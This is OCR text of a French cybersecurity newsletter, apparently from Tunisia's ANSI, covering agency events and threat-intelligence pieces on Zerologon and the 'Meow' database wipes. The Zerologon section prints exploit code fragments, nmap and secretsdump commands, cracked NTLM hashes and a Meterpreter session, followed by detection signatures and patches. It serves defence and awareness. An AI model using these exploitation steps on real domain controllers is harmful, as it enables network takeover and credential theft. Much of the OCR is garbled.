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EVENEMENTS

06 Juillet 2020
Convention
CERT - ANSI

Dans le cadre de la Stratégie Nationale de Cybersécurité,
I’ Agence Nationale de la Sécurité Informatique (ANSI) et le
Centre d'Etudes et de Recherche des Télécommunications
(CERT) ont signé deux conventions de coopération portant
sur "Les modalités d'élargissement de la procédure d'homolo-
gation et de contréle technique systématique a l'importation
des équipements terminaux de télécommunication", ainsi que
"Les aspects de la sécurité de la plate-forme nationale "CEIR-
N", dédiée a la lutte contre la contrefagon, la contrebande et
le vol des équipements terminaux de téléphonie mobile, ac-
tuellement en phase finale de déploiement".

15 Juillet 2020
2eéme rencontre des
CERT's tunisiens
tUNCERT

Tunisian Computer Emergency ResponseTeam C( ‘
'(ﬁ ) GERT

L'Agence Nationale de Sécurité de I'Information a tenu, le 15
Juillet 2020, la deuxiéme réunion des centres tunisiens de ré-
ponse aux incidents informatiques pour présenter les événe-
ments les plus importants enregistrés dans le cyberespace
national durant les mois de mai et juin et étudier une proposi-
tion visant @ implémenter des mécanismes de coopération et
de coordination a cet effet.

5

e

Financial CERT

Des représentants des centres sectoriels de reponses aux
incidents ont participé a cette réunion tels que les CERTs
pour le secteur de la santé et le secteur bancaire ainsi que le
CERT privé CSIRT.tn.

Cette rencontre a été l'occasion d'apprécier le fait que le
CERT bancaire de I'Association professionnelle tunisienne
des banques et institutions financiéres "Financial CERT" a
obtenu l'adhésion au Forum international des centres de ré-
ponse aux incidents (FIRST).

Une proposition de loi fondamentale a également été présen-
tée pour organiser les centres tunisiens pour répondre aux ur-
gences informationnelles, a condition qu'elle soit encore
enrichie par les participants et approuvée lors de la prochaine
réunion prévue en septembre 2020.

I 'I'!' ’F
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17-19 Juillet 2020

I-Protect v3

L'Agence Nationale de la Sécurité Informatique participe et
anime la 3e édition du Workshop I-Protect organisé par IEEE
tunisian Chapter en partenariat avec le Centre 4c-Enis, I'As-
sociation pour la Recherche Scientifique et I'Innovation en
Informatique ARSII et le Centre de Recherche Numérique
Sfax CRNS.

L'événement qui s'est tenu a Sfax, du 17 au 19 Juillet 2020,
est un rendez-vous incontournable pour les étudiants, cher-
cheurs et professionnels dans le domaine de la sécurité
informatique pour échanger sur les nouveautés et les ten-
dances en matiére de cybersécurité.

Cette nouvelle édition a pour but de pratiquer des compéti-
tions virtuelles offensives et défensives, de type CTF, en uti-
lisant des outils et des scénarios pertinents qui ont permis aux
participants d'acquérir de nouvelles compétences en cyber-
sécurité basées sur différents objectifs de l'examen CEH
(Certified Ethical Hacker).

Une formation portant sur les attaques web, suivi d’un CTF
a ¢été assurée par les experts de I’ANSI, ainsi qu’une table
ronde autour du capacity building en Maticre de cybersécuri-
té.

Le programme comprend des activités techniques, profes-
sionnelles et éducatives animées par des conférenciers natio-
naux hautement qualifiés.

] 24 Septembre 2020 ]
Signature convention
ANSI-ATI

Dans le cadre de la protection du cyberespace national tuni-
sien, I’Agence Nationale de la Sécurité Informatique (ANSI)
et 'Agence Tunisienne d'Internet (ATI) ont signé un accord
de partenariat, visant principalement, une coopération pour
I'amélioration des niveaux de détection précoce des cyberat-
taques exploitant les systémes de noms des domaines DNS.

e

30 Septembre 2020
Webinaire ISACA
Tunis Chapter

Participation de ' ANSI au members meetings d'ISACA. Ani-
mation du Meeting virtuel de I'lSACA Tunis Chapter "Covid-
19 Catalyseur de Cyber-Attaques" par M. Mondher Smii.

[:I . ) tact@isaca-tunisie.org

30 Septr2020 '
18h30

des Cyber-Attaques

Speaker :
SMII Mondher

Cyber Security Analyst
Information Sharing & Analysis Team ISAC

83 ISACA

Tunis Chapter

Safer Internet Day 2021
2021 oY) LAY a g

eV B <

Safer
Internet

Day

©On a tous un réle & jouer !

Le "Safer Internet Day" est un événement mondial organisé par le
réseau européen Insafe pour la Commission européenne qui a lieu
tous les ans au mois de février pour promouvoir une meilleure
navigation Internet pour les jeunes surtout cette année et suite aux
répercussions de la crise sanitaire mondiale qui a intensifié
I'utilisation d'internet et notamment les risques cybernétiques.

Célébré dans le monde entier, le "Safer Internet Day" est devenu au
fil des ans un rendez-vous incontournable en matiére d'éducation et
sensibilisation aux risques liés a la navigation sur internet.
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Lancement du master co-construit
ANSI, SUP'COM & ISET'Com

Dans le cadre de la stratégie nationale de cyber sécurité et les missions de 'ANSI, SUP'COM et
ISET'Com lancent un master professionnel en "cyber sécurité opérationnelle".

Ce master a pour objectif de former des experts tunisiens de haut niveau capables

de réagir et répondre efficacement aux menaces cybernétiques visant les systémes @
d’information des entreprises et des Opérateurs d’Importance Vitale (OIV). ) \
Les cadres formés seront capables de: titilogleall dollinll diibgll allsgll

Agence Nationale de la Sécurité Informatique
¢ Evaluer et cartographier les risques sur I’infrastructure
» Définir et mettre en place un SMSI (Systéme de Management de la Sécurité

P
e SUPCON
* Détecter, analyser et gérer les incidents de sécurité

» Mettre en place des palliatifs et solutions de sécurité Higher School of Communication of Tuni
Apres I'étude de 121 dossiers éligibles, 31 candidats ont été sélectionnés pour
suivre la formation.

Les détails de ce master peuvent étre consultés sur la page Web de SUPCOM via

le lien suivant: th' C
http://www.supcom.mincom.tn/Fr/master-professionnel-cyber-securite-operation- @m
nelle 11 492
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4 lauréats Tunisiens au concours CyberStars
"The arab regional threat hunter"

L'Agence Nationale de la Sécurité Informatique (ANSI) et tunCERT ont l'honneur d'annoncer les résultats définitifs du
concours régional CyberStars dans sa troisieme édition, organisé par le Centre Régional Arabe pour la Cybersécurité, Arcc et
Silensec, en coopération avec les centres de réponses aux incidents cybernétiques. Cette compétition s'est tenu en ligne le 26
septembre 2020, a réuni des participants de 10 pays arabes, et a donné les résultats suivants:

* Groupe d'age A (17-24 ans) Juniors
- lere place (Tunisie) : Oussama Kerro
- 2¢me place (Egypte) : Tarek Aziz SaifEldine
- 3¢me place (Egypte) : Yasser Mohammed Abdul Moneim Ali

» Groupe d'age B (24 ans et plus) Seniors
- 1¢ére place (Tunisie) : Saifeddine Aydi
- 2éme place (Tunisie) : Aymen Borji
- 3¢me place (Tunisie) : Anis Hamdi i

Arab Regional

Suite a ces résultats distingués et honorables pour la jeunesse tunisienne, FINALS

les lauréats ont été recus le lundi 02 Novembre 2020 par le Ministre des

Technologies de la Communication, Mr Mohamed el Fadhel Kraiem en :

présence du Directeur Général de ' ANSI Mr Naoufel Frikha. Wiicrs

oy B cveen rances

¥ silensec

A cette occasion, le Ministre a félicité les quatre lauréats, leur souhaitant de nouveaux succes dans leur parcours, leur exprimant
sa fiert¢ pour ces honorables résultats des compétences du secteur, qui contribueraient a renforcer le rayonnement de la Tunisie
au niveau international.

Lors de la réunion, le ministre a appelé les lauréats a poursuivre leurs efforts et a travailler en coopération avec toutes les parties
prenantes du secteur afin de développer la cybersécurité et de gagner la confiance numérique.

Dans ce contexte, le ministre a rappelé que le ministére s'emploie a mettre en ceuvre les mécanismes de la stratégie nationale de
cybersécurité et a soutenir la souveraineté numérique, qui est I'un des piliers de la stratégie nationale du secteur des technologies
de la communication.

L'Agence Nationale de la Sécurité Informatique félicite les lauréats en leur souhaitant plus d'éclat et de succes.

Source : https://www.facebook.com/MinistereTCTD/
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Saifeddine

Arab Regional

finals

Hamdi
Winners

powered by TR cYeerRrANGes

A cette occasion nous avons été a la rencontre de 2 lauréats
qui nous ont livré les témoignages suivants:

Saifeddine Aydi
1ére place du concours catégorie Seniors

"t%nCERT

¥ silensec

Saifeddine a étudié en Tunisie et en Allemagne, malgré qu'il
n'a pas pu finir son cursus, il exerce le métier de pentester
depuis 5 ans.

11 est passionné par la cybersécurité depuis 2007 et participe
a des CTF depuis plus de 10 ans.

Concernant le challenge, il I'a trouvé a la portée "Cela aurait
été mieux si certains des défis étaient plus créatifs et moins
devinants. Le support, l'organisation et la plateforme étaient
super." a-t-il déclaré.

Saifeddine est toujours a l'affiit des nouveautés sur twitter et
participe régulicrement a des CTFs via CTFtime, il admet
que "les connaissances acquises doivent étre partagées d'une
maniére ou d'une autre".

Concernant le niveau de maturité des entreprises et admi-
nistrations Tunisiennes en matiére de cybersécurité il recon-
nait que "La sensibilisation a la cybersecurité a augmenté
rapidement en Tunisie ces derniéres années aussi vite que les
acteurs de la menace, mais elle n'a pas encore muri".

Finalement, il conseille aux jeunes qui veulent réussir dans
ce domaine d'étre persévérants.

Anis Hamdi
3éme place du concours catégorie Seniors

,GROUP B

experime
operating
Flag cont

¥ silensec

Anis est titulaire d'un dipldme en réseaux et télécommunica-
tions délivré par I'INSAT, il est actuellement consultant en
cybersécurité chez Ernst & Young.

Sa passion a débuté il y a 4 ans durant les évenements liés a
la sécurité organisés par son université.

Anis a trouvé que les défis de ce concours étaient faciles par
rapport a ce qu'il avait I'habitude de traiter dans les compéti-
tions internationales.

En linterrogeant sur l'importance de partager ses retours
d'expériences, il pense que "Partager c'est bienveillant <3!"
En effet, partager une expérience est toujours utile et fruc-
tueux pour quelqu'un d'autre qui pense encore a choisir sa
carriére et qui trouve des difficultés a démarrer.

Sa recette secréte : pratique + motivation + détermination,
avec Internet qui reste toujours la meilleure source
d'information a condition de bien choisir le mots clés de la
recherche.

Concernant le niveau de maturité des entreprises et admi-
nistrations Tunisiennes en matiére de cybersécurité, il pense
que les entreprises tunisiennes ne se soucient malheureuse-
ment pas trop de la sécurité a moins qu'elles ne soient
confrontées a une attaque. Mais cela est entrain de s'amélio-
rer et certaines entreprises commencent a investir dans ce
domaine si prometteur.

Il conseille aux jeunes de rester simplement attachés a leurs
objectifs et ne jamais perdre espoir car c'est un domaine trés
intéressant. Surtout, ne pas se comparer aux autres: chacun a
sa propre carriére et ses engagements. Alors concentrez-vous
simplement sur votre objectif et continuez a vous entrainer,
c'est juste une question de temps.

Quant a ses propres ambitions pour les années a venir, Anis
espére améliorer ses compétences techniques, découvrir de
nouvelles choses comme toujours, partager ce qu'il apprendra
et commencer a travailler sur certaines taches de manage-
ment.
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ITU 2020
Global Cyberdrill

L'Union Internationale des Télécommunications (UIT) organis
afin d'améliorer les capacités de preparation, de protection

matiére de cybersécurité des Etats membres.

Un CyberDrill est un événement annuel au cours duquel des
cyberattaques, des incidents de sécurité de l'information ou
autres types de perturbations sont simulés en vue de tester les
cybercapacités d'une organisation, qu'il s'agisse de détecter
un incident de sécurité ou d'intervenir comme il se doit et
d'atténuer autant que possible les conséquences d'un tel dys-
fonctionnement.

A ce jour, I'UIT a organisé plus de 29 événements CyberDrill
dans le monde afin d'améliorer les capacités de cybersécurité
grace a une collaboration régionale.

Dans ce contexte, et afin d'améliorer ses capacités en matiére
de communication et d'intervention en cas d'incident, une
équipe de 1'ANSI a participé activement a cet exercice en
ligne du 27 Octobre au 05 Novembre 2020.

Durant cet événement, six sénarios ont €été présentés, traitant
des situations relatives a la pandémie COVID-19. Chacun
met en avant des outils particuliers a utiliser. Ces sénarios
sont présentés briévement dans les sections suivantes:

Scénario 1: Webserver Down (WEB)

Le premier scénario consiste a aider un chef de service
informatique d'un établissement de santé a analyser un inci-
dent apreés la découverte d'une faille dans le systéme qui a
induit a une attaque de type "defacement" du site web par un
groupe de hackers anonymes. Un message a été posté sur la
page principale du site web indiquant que les fichiers sen-
sibles ne sont plus accessibles car ils ont été cryptés. Ce site
étant une porte d'acces a la base de données des dossiers des
patients, les équipes CSIRT/CERT doivent investiguer et
donner des conseils.

WebServer
Down!

ITU 2020 Global Cyber Drill

Scénario 2 : Data in danger (Zerotect Tools Polyvers)

Data in
Danger!

ITU 2020 Global Cyber Drill

Un Directeur Technique a recu un email demandant une ran-
¢on de 10BTC suite au chiffrement de cartains fichiers sen-
sibles.

La mission pour ce deuxiéme scénario consiste a determiner
comment cette attaque s'est-elle produite en analysant des
fichiers log relatifs au systéme et au firewall.

Scénario 3 : Threat Hunting (Wireshark)

Threat
Hunting

ITU 2020 Global Cyber Drill

guardtime

Ce scénario consiste en l'analyse d'un fichier pcap suite a un
incident de sécurité. L'exercice consiste a identifier le canal
utilisé par les pirates pour exfiltrer les données sensibles des
patients.
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Scénario 4 : OT under attack (SCADA)

OT Under
Attack

ITu 2020 GIobaI Cyber Drill

Cette fois, il faut répondre a une attaque en cours d'exécution
sur un réseau de santé et qui implique le systéme opération-
nel. En effet, les attaquants utilisent des vecteurs d'infection
pour infiltrer le systéme interne, et au fur et a mesure qu'ils
progressent, ils ont eu l'accés au segment OT/PLC et sont ac-
tivement engagés a prendre le contréle total du systéme OT a
l'intérieur de ce réseau.

Scénario 5 : Livefire (ELK + Honeynet + Blockchain +
Malware)

Live
Fire

ITU 2020 Global Cyber Drill

¥ silensec’

Le site Web d'une organisation nationale de santé publique
impliquée dans la recherche et le développement du vaccin
COVID-19 a été endommagg et les administrateurs ont réussi
a le récupérer. Cependant, aprés un certain temps, les atta-
quants semblent étre a nouveau en mesure de détériorer le
site Web. Les analystes ont déduit qu'une vulnérabilité cri-

@ cveerrances

tique existe trés probablement sur le site. En raison de I'at-
taque totale de I'APT «Cyber Anony, les investigateurs
doivent passer par un grand nombre d'événements qui pour-
raient étre trompeurs. Par conséquent, le plus grand soin doit
étre pris pour bien comprendre la gravité de chaque attaque et
son lien avec l'incident.

Le conseil d'administration de cette organisation a informé
les équipes intervenantes sur l'incident que des informations
exclusives critiques liées au vaccin sont stockées dans le ré-
seau de l'organisation. Il est trés important que dans un cas
de compromission, toute activité perturbatrice doit cesser et
une approche méthodique doit étre employée afin d'éviter la
perturbation ou la destruction des preuves ou des données
sensibles.

Scénario 6 : The Hunt (OSINT)

The
Hunt

ITU 2020 Global Cyber Drill

@ UNITED NATIONS
OFFICE OF COUNTER-TERRORISM
r-Tan (UNCET)

Dans ce scénario, les équipes participantes font partie de
I'Unité de renseignement antiterroriste ou de I'équipe natio-
nale CERT et vont utiliser des techniques de renseignement
open-source pour collecter autant d'informations sur une at-
taque de ransomware qui a ciblé un hopital durant la crise
COVID-19 par un groupe d'activiste nommé Hackers Libe-
ration Front HLF.

Durant cet exercice, les équipes doivent identifier les profils
de l'organisation, la personne responsable de l'attaque et la
localiser ainsi que les transactions liées a 'attaque.

Sources:
https://www.itu.int/en/ITU-D/Cybersecurity/Pages/Cybe-
drills-2020.aspx

https://app.cyberranges.com

" so8ury 104D,
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Stratégie Nationale de Cybersécurité
Plan d'action

Suite a la publication de la stratégie Nationale Cyber Sécurité, I'Etat tunisien est engagé a réali-
ser un plan d'action national a travers une approche multi-acteurs impliquant en plus des
structures gouvernementales, les différentes parties prenantes du secteur privé, de la société ci-
vile et du milieu académique.

Dans ce cadre, une série d'ateliers de réflexion en ligne a été
planifiée du 2 au 4 Décembre 2020 en partenariat avec le Mi-
nistere des Technologies de Communication, I'Agence Natio-
nale de Sécurité Informatique (ANSI) et la GIZ.

« Cadres de coopération formels et informels pour lutter
contre la cybercriminalité

« Cadres juridiques / systéme de justice pénale

* Cadre pour I'éducation / cadre pour la formation profes-
sionnelle

« Divulgation responsable / data management

* Marché de la cybersécurité¢ / R&D

« Contrdles techniques de sécurité / Contrdles cryptogra-
phiques / Qualité des logiciels / respect des normes

* Résilience de l'infrastructure Internet et Digitale

« Sensibilisation / cyberculture et mécanismes de signale-
ment

Les journées du 2 et 3 ont été dédiées aux réflexions et
échanges entre les intervenants. En effet, des workshops ont
été organisés selon les axes de la stratégie nationale de cy-
bersécurité, chaque workshop a été composé d'un modérateur
et d'un ensemble de professionnels dans le secteur. Ces
groupes ont pu dégager a la fin de leurs travaux des projets
pouvant étre intégré dans le plan d'action de la stratégie na-
tionale de cybersécurité.

Les sujets qui ont été abordés durant ces workshops sont les
suivants:

La derniére journée a été consacrée a la restitution des tra-
vaux et le choix des actions prioritaires. Une fiche projet a
été élaborée pour chacun des projets retenus.

« Protection des infrastructures critiques / considération de
cyberdéfense / Redondances des communications
« Intervention en cas d'incidents / Gestion des crises
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THREAT INTELLIGENCE

Zerologon

La wvulnérabilité nommée Zerologon et portant le numéro CVE-2020-1472 a été publiée le 11
aout 2020 par Microsoft. Cette vulnérabilité permet aux pirates informatiques d'attaquer les
contréleurs de domaine Microsoft Active Directory, et ainsi de se faire passer pour un autre or-
dinateur, y compris le controleur de domaine racine.

Qu’est-ce que Zerologon ?

Zerologon ou CVE-2020-1472 est une
faille dans le processus d’authentifica-
tion cryptographique NetlogonRemote
Protocol. Le protocole identifie les uti-
lisateurs et les machines des réseaux du
domaine et est utilisé pour mettre a
jour les mots de passe des ordinateurs a
distance.

Qui est vulnérable ?

La faille CVE-2020-1472 menace les
entreprises dont les réseaux utilisent les
controleurs de domaine exécutés sous
Windows. Les cybercriminels peuvent
notamment pirater le contréleur de do-
maine qui utilise n’importe quelle ver-
sion a partir de Windows Server 2008
jusqu’a 2019 :

- Windows Server 2008 R2 for x64-ba-
sed Systems Service Pack 1

- Windows Server 2008 R2 for x64-ba-
sed Systems Service Pack 1 (Server
Core installation)

- Windows Server 2012

- Windows Server 2012 (Server Core
installation)

- Windows Server 2012 R2

- Windows Server 2012 R2 (Server
Core installation)

- Windows Server 2016

- Windows Server 2016 (Server Core
installation)

- Windows Server 2019

- Windows Server 2019 (Server Core
installation)

- Windows Server, version 1903 (Ser-
ver Core installation)

- Windows Server, version 1909 (Ser-
ver Core installation)

- Windows Server, version 2004 (Ser-
ver Core installation)

Comment fonctionne cette attaque?

En envoyant simplement un certain
nombre de messages Netlogon dans
lesquels divers champs sont remplis de
zéros, d’ou il tire son nom Zerologon,
un attaquant peut changer le mot de
passe de l'ordinateur du contréleur de

domaine qui est stocké dans 1'AD. Cela
peut ensuite étre utilisé pour obtenir les
informations d'identification de 1'admi-
nistrateur du domaine, puis restaurer le
mot de passe d'origine du contrdleur de
domaine.

Pour mieux expliquer le phénomeéne
d’attaque il faut savoir comment fonc-
tionne Netlogon.

Service Netlogon

Le service Netlogon est un mécanisme
d'authentification utilisé pour maintenir
les relations entre les membres d'un
domaine et le controleur de domaine
(DC).

Schéma__d'authentification _Netlogon

cas normal

1. Un défi est envoyé par le client

2. Un Challenge est envoyé depuis le
serveur

3. Une clé de session est créée

4. Le client et le serveur utilisent la clé
de session créée et les défis pour créer

Frame 25: 234 bytes on wire (1872 bits), 234 bytes captured (1872 bits) on interface \Device\NPF_{B829335F-3147-4228-8356-DEDOB6850462}, id @

Ethernet II, Src: VMware_e5:a9:7e (09:0c:29:e5:a9:7e), Dst: VMware_8b:2e:dd (00:0c:29:8b:2e:dd)

Internet Protocol Version 4, Src: 172.16.200.130, Dst: 172.16.200.128

Transmission Control Protocol, Src Port: 54466, Dst Port: 49669, Seq: 201, Ack: 97, Len: 18@

Distributed Computing Environment / Remote Procedure Call (DCE/RPC) Request, Fragment: Single, Fraglen: 180, Call: 2, Ctx: @, [Resp: #26]
~ Microsoft Network Logon, NetrServerAuthenticatel

Operation: NetrServerduthenticatel (26)
[Response in frame: 26]

Server Handle: \\WIN-BU3FSHEI7T9

Acct Name: WIN-@U3FOHEI7T9%

Sec Chan Type: Backup domain controller (6)

v (Computer Name: MIN-@U3FOHEITTY
Max Count: 16
Offset: @
Actual Count: 16

~ WIN-AIEGHE]TTY
I Cligpt CrEdEptial: 2] I

Negotiation options: @x212fffff

00 00 B2 00 90 90 9c 00 ©0 00 B0 B0 la 08

@8 09 12 99 00 00 00 ee
5c 88 57 @@ 45 @0 de 80
46 09 39 00 48 00 45 ee
96 00 11 99 €¢ ee 00 ee
49 09 4e 90 2d 00 30 ee
48 99 45 992 4a 0@ 37 ee
66 00 10 00 00 00 00 ee
49 8@ 4= 20 2d 00 30 ee
P00 bt a

Bded

88 80 00 /9 20 B0
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- A

Domain Joined Client Domain Fontroller

Client Challenge

9)

J

Server Challenge

C )
Session key Created from
Session Secret and
Challenges
Client Credential creted from encrypting client

challenge with session ke:
c
% Server Credential creted from encrypting server

challenge with session key
¢ 9

@ "
+a=,

les informations d'identification client / serveur.

Les informations d'identification ainsi que la clé de session
seront utilisées pour I’authentification de 1'utilisateur.

Schéma d'authentification Netlogon (cas d’attaque

L

A

Domain Joined Client Domain fontroller

( Client Challenge =00000000

Server Challenge ﬂ
)

strServerAuthenticate3(rpc_connection, dc_handle + '\x00',
target_computer+'$\x00',nrpc. NETLOGON SECUR ANEL_TYPE. Serv nel,
target_computer+'\x00', ciphertext=b'\x00'*8, flags=0x212fffff)

X256 < ¢

request =Netr iSet2()
request['PrimaryName'] = dc_handle + '\x00'
request['AccountName'] = target_computer + '$\x00'
request['secureChannelType'] =
0GON HANNEL_TYPE. Ser

authenticator )

rn_rpc_connection.request (request)

Il est possible de changer un mot de passe en envoyant tout
simplement la trame avec le nouveau mot de passe préféré.
L'approche la plus simple consiste a supprimer le mot de
passe ou a le définir sur une valeur vide, le pirate peut désor-
mais se connecter via un processus normal.

Simulation d’attaque

Dés I’apparition du CVE-2020-1472 et afin de permettre aux
entreprises de savoir si elles sont vulnérables a Zerologon,
des codes d'exploitation ont été publiés, disponibles sur Gi-
thub. Nous allons choisir une pour réaliser notre simulation.

Collecte d’information

Afin de réaliser une attaque zerologon il faut connaitre le
nom d'ordinateur NetBIOS de la victime. En utilisant nmap
avec le script nbstat.nse on peut extraire ce nom.

sudo nmap -sU --script nbstat.nse
CET

latency) .
open|filtered ports
SERVICE
open ntp
open netbios-ns
open ldap

: <unknown=, NetBIOS MAC: ©0:0c:29:5b:5c:f5 (V

Scan et exploit

En utilisant le script Python on peut savoir si le serveur est
vulnérable ou non et par le biais du méme script le mot de
passe du serveur AD sera réinitialisé.

Scan avec Metasploit

aher/Téléchargemen
thentication attempt

.py SERVAD

Exploit complete!
fome/saher/Téléchargements/ 2020-1472% I

Rapid7 a ajouté un module d'exploitation pour CVE-2020-
1472, AKA Zerologon dans la version 6 de msf. Ce module
est capable de:

* Identifier la vulnérabilité par la méthode standard du me-
tasploit «check »

» Exploiter la vulnérabilité pour définir le mot de passe du
compte de l'ordinateur sur une valeur vide (en utilisant RE-
MOVE ACTION)

* Restaurer le mot de passe du compte de 'ordinateur (a I'aide
de RESTORE ACTION)

Exploitdu CVE

Pour exploiter le résultat de scan on va utiliser ’outil ‘se-
cretsdump.py’ qui est un module de Impacket (une collection
de classes Python pour travailler avec les protocoles réseau).
On peut déchiffrer le mot de passe de la session Administra-
teur.
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< # p 3 /home r/Téléchargeme /impacket/ex ecretsdump.py -no-p:
mpacl-et v0.9.22.dev1+2020 . .78e8c8e4 Copy 0 SecureAuth Corporation

in Credentials (domainy
APT method to get NT
LELEER ;

054192d965b696abfR19d8en752fa3febf
Ha

75d6dcB8167d7438cc63af9e741e92884617dd35e33808e2e5
3 4bbn;4‘FqC|b jc3f21l

Free Password Hash Cracker

Enter up to 20 non-salted hashes, one per line:

570a%a65db8Tba761lc1@@8a51d4c95ab

Supports: LM, NTLM, md2, md4, mds5, md5{md5_hex), md5-half, shal, sha224, sha255, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (shal(shai_bin)),
Qubes\3.1BackupDefaults

Hash Type Result

57@a9%a65db8fba761c1898a51d4c95ab || NTLH ‘Admin@lzil |

Color Codes: BFEERN Exact match, Yellow: Partial match, [l Mot found.

Zerolpgon, SMB et Ryllk 12l Propriétés de I'événement - Evénement 4742, Microsoft Windows security auditing. -
En utilisant 1’attaque zerologon on peut lancer Meterpreter :
. . e g eral | Détails
sur la victime utilisant SMB donc on peut réaliser toutes %n
sortes d'actions sur la machine cible. Par exemple, nous pou- e B I -
1 . Sujet:
vons télécharger des fichiers, lancer un Keylogger, ... 1D de séeurites ANONYMOUS LOGON
Nem du compte: ANONYMOUS LOGON
Domaine du compte : AUTORITE NT v
o Joumal : Sécurité *
e aee Rriadseohbfbers el Baesldictoeh Source: Microsaft Windows security Connecté:  26/10/2020 15:52:54 #]
Evénement: 4742 Catégorie:  Gestion des comptes d'ordinateur
Niveau : Information Mots-clés:  Succés de l'audit
0:445 as user 'Administrateur'...
Utilisateur : MfA Ordinateur: AD.test.local
i iend;ng 5t;g: i timed o ok 1f running a command or non-service executable... Opcode: InEormnakion:
[*] Meterpreter -> 172.16 905) at 2020-10-26 19:50 0100
Informations:  Aide sur le Journal
meterpreter >
Computer
0S
Architecture
System Language _FR
o
Meterprete 6 s
meterpreter >

Le 20 octobre 2020 le GBHackers On Security ont pUbhé un 2] Propriétés de I'événement - Evénement 4742, Microsoft Windows security auditing. -
article sous le nom de « Ryuk Ransomware Group utilise la
vulnérabilité Zerologon pour atteindre son objectif plus rapi-

Chemin d'accés au profil : - ~

dement » Stations de travail utilisateurs : =
Derniére modification du mot de passa le:  26/10/2020 15:52:54
Le compte expire le:
ID de groupe principal :

Général | Détails

Lien de l'article : Délégué autorisé : - v
https://gbhackers.com/ryuk-ransomware-attack-2/ e S +
Source: Microsoft Windows security Connecté:  26/10/2020 15:52:54 EI
, Evénement: 4742 Catégorie:  Gestion des comptes d'ordinateur
Comment détecter Zerologon Niveau s .. -
iveau: Information Mots-clés:  Succés de I'audit
AVant PatCh Utilisateur : N/A Ordinateur: AD.testlocal
Opcode: Informations
ID Logevent Informations:  Aide sur le Journal
Les exploits laissent derri¢re eux divers artefacts qui peuvent
étre utilisés pour la détection. L'artefact le plus documenté

est I'D 4742 dans I’EventLog du serveur
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Apres Patch
Déployer les mises a jour du 11 aofit sur tous les contréleurs

de domaine (DCs) applicables dans la forét, y compris les
controleurs de domaine en lecture seule (RODC). Apres le
déploiement de cette mise a jour, les controleurs de controle
peuvent :

» Commencer a appliquer 1’utilisation d’appels RPC sécuri-
sés pour tous les comptes d’appareils Windows, les comptes
d’approbation et tous les contréleurs de documents.

* Consigner les ID d’événements 5827 et 5828 dans le jour-
nal des événements systéme, si les connexions sont refusées.

* Enregistrer les ID d’événement 5830 et 5831 dans le jour-
nal des événements systéme, si les connexions sont autori-
sées par le controleur de domaine : Autoriser les connexions
de canaux sécurisés « Netlogon vulnérables» de la stratégie
de groupe.

» Enregistrer I'ID d’événement 5829 dans le journal des
événements systéme lorsqu’une connexion a un canal sécuri-
s¢ Netlogon vulnérable est autorisée. Ces ¢événements
doivent étre traités avant que le mode d’application des DC
soit configuré ou avant la phase d’exécution du 9 février
2021.

Sonde SAHER
La signature du CVE 2020-1472 est apparue dans la sonde
SAHER

Se sécuriser

Microsoft a mis a disposition les mises a jour de sécurité
suivantes :

* KB4571729 / KB4571719 pour Windows Server 2008 R2

* KB4571736 / KB4571702 pour Windows Server 2012

* KB4571703 / KB4571723 pour Windows Server 2012 R2

* KB4571694 pour Windows Server 2016

* KB4565349 pour Windows Server 2019

» KB4565351 pour Windows Server version 1903 et version
1909

* KB4566782 pour Windows Server version 2004

Microsoft recommande d’appliquer ces mises a jour en ci-
blant en priorité les contréleurs de domaine, et incite égale-

ment a configurer les connexions de canaux sécurisés
Netlogon suivant la procédure définie sur le lien ci-apres :

https://support.microsoft.com/fr-fr/help/4557222/how-to-
manage-the-changes-in-netlogon-secure-channel-connec-
tions-assoc

Avant la mise a jour

Sources
https://www.trendmicro.com/fr_fr/what-is/zerologon.html
https://www kaspersky.fr/blog/cve-2020-1472-domain-cont-
roller-vulnerability/15680/

Accueil | Rechercher

Interrogé le - Mon October 26. 2020 18:53:54

[ Back]

Statistiques

Meta critéres (CVE-2020-1472)" ...Effacer...

Signature "[snort] ET EXPLOIT Possible Zerologon NetrServerRegChallenge with 0x00 Client Challenge

Sondes
Alertes Uniques
( Classifications )

P

Critéres IP any Adresses uniques : Source | Destination
) . Liens IP Uniques :

Layer 4 Criteria none Source Port: TCP | UDP

Critéres de contenu Destination Port: TCP | UDP

. any

(payload)

« Répartition temporelle des alertes
Affichage des alertes 1-6 sur 6 au total

L 1D < Signature > < Horodatage > < Adresse Source > < Adresse Dest. > < Protocole de niveau 4 >

(W] #0-(1- [snort] ET EXPLOIT Possible Zerologen NetrServerReqChallenge with 0x00 Client Challenge (CVE-2020- 2020-10-19 14:34:12192.168.245.28:49156 172.20.98.2:49672 TCP
6154026) | 1472)

(] #1-(1- [snort] ET EXPLOIT Possible Zerclogon MetrServerReqChallenge with UxU0 Client Challenge (CVE-2020- 2020-10-19 14:34:12192.168.245.28:49156 172.20.98.2:49672 TCP
6154027) 1472

Cl #2-(1- [snort] ET EXPLOIT Possible Zerologon NetrServerReqChallenge with 0x00 Client Challenge (CVE-2020- 2020-10-19 14:34:12192.168.245.28:49156 172.20.98.2:49672 TCP
6154028) 1472

(] #3-(1- [snort] ET EXPLOIT Possible Zerologon NetrServerReqChallenge with 0x00 Client Challenge (CVE-2020- 2020-10-19 14:34:12192.168.245.28:49156 172.20.98.2:49672 TCP
6154029) 1472)

O #4-(1- [snort] ET EXPLOIT Possible Zerologen NetrServerReqChallenge with 0x00 Client Challenge (CVE-2020- 2020-10-19 14:34:12192.168.245.28:49156 172.20.98.2:49672 TCP
6154030) 1

(] #5-(1- [snort] ET EXPLOIT Possible Zerologen NetrServerReqChallenge with 0x00 Client Challenge (CVE-2020- 2020-10-19 14:34:12192.168.245.28:49156 172.20.98.2:49672 TCP
6154031) 1472)
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THREAT INTELLIGENCE

Meow : Le malware qui détruit les bases de données

mal sécurisées

Environ 4000 bases de données en ligne ont été effacées de maniére permanente par un
mystérieux attaquant, sans autre raison apparente que celle d'étre mal configurées et exposées
a I'Internet public. L’agresseur ne laisse aucune revendication a part le mot "Meow" en tant que

signature.

Les attaques "Meow" ont affecté les bases de données exécutées sur une variété de logiciels,
notamment ElasticSearch, MongoDB et d'autres. Le motif et la raison des attaques restent
inconnus, car aucune demande de rancon n'a été divulguée.

yellow open loaply@tsx
yellow open bjypfgl2l3
yellow copen phdhinr94x
yellow open yBO0ckb6hBf)
yellow open sd43ignzlnsé
yellow open dag2olrpwa
yellow open 2jmépgSéo
yellow open awld4Ollkja
yellow open pmwlsaéeb
yellow open 2ccdlzl9ig
yellow open i3pl9%lebml
yallow open zqro80pxd
yellow open 3Iprr9aldns
yellow open gSjuncl6t3
yellow open gpStdslxc?
yellow open 2gb0Zdne
